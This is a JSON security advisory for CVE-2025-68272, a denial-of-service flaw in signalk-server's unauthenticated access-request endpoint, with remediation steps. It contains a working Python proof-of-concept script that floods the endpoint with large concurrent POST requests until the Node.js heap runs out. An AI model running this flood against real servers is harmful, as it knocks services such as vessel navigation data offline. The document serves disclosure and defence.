CVE-2025-68272: Signalk server Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rqc-ff8m-7j23",
  "modified" : "2026-01-02T15:20:05Z",
  "published" : "2026-01-02T15:20:05Z",
  "aliases" : [ "CVE-2025-68272" ],
  "summary" : "Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding",
  "details" : "### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1.  **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n    ```javascript\n    const requests = {}\n    ```\n2.  **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3.  **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4.  **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).\n\n**Exploit Scenario:**\n1.  An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2.  The server stores every request in the `requests` object in the Node.js heap.\n3.  The heap memory usage spikes rapidly.\n4.  The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1  # 100 KB per request\nNUM_REQUESTS = 20000   # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n    try:\n        payload = {\n            \"clientId\": f\"attacker-device-{i}\",\n            \"description\": LARGE_STRING, # Stored in memory!\n            \"permissions\": \"readwrite\"\n        }\n        data = json.dumps(payload).encode('utf-8')\n        \n        req = urllib.request.Request(\n            TARGET_URL, \n            data=data, \n            headers={'Content-Type': 'application/json'}, \n            method='POST'\n        )\n        # Short timeout as server might hang\n        urllib.request.urlopen(req, timeout=5)\n    except:\n        pass\n\ndef attack():\n    print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n    threads = []\n    for i in range(NUM_REQUESTS):\n        t = threading.Thread(target=send_heavy_request, args=(i,))\n        threads.append(t)\n        t.start()\n        \n        if len(threads) >= CONCURRENCY:\n            for t in threads: t.join()\n            threads = []\n\nif __name__ == \"__main__\":\n    attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1.  **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2.  **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3.  **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "signalk-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.19.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68272"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SignalK/signalk-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-02T15:20:05Z",
    "nvd_published_at" : "2026-01-01T18:15:40Z"
  }
}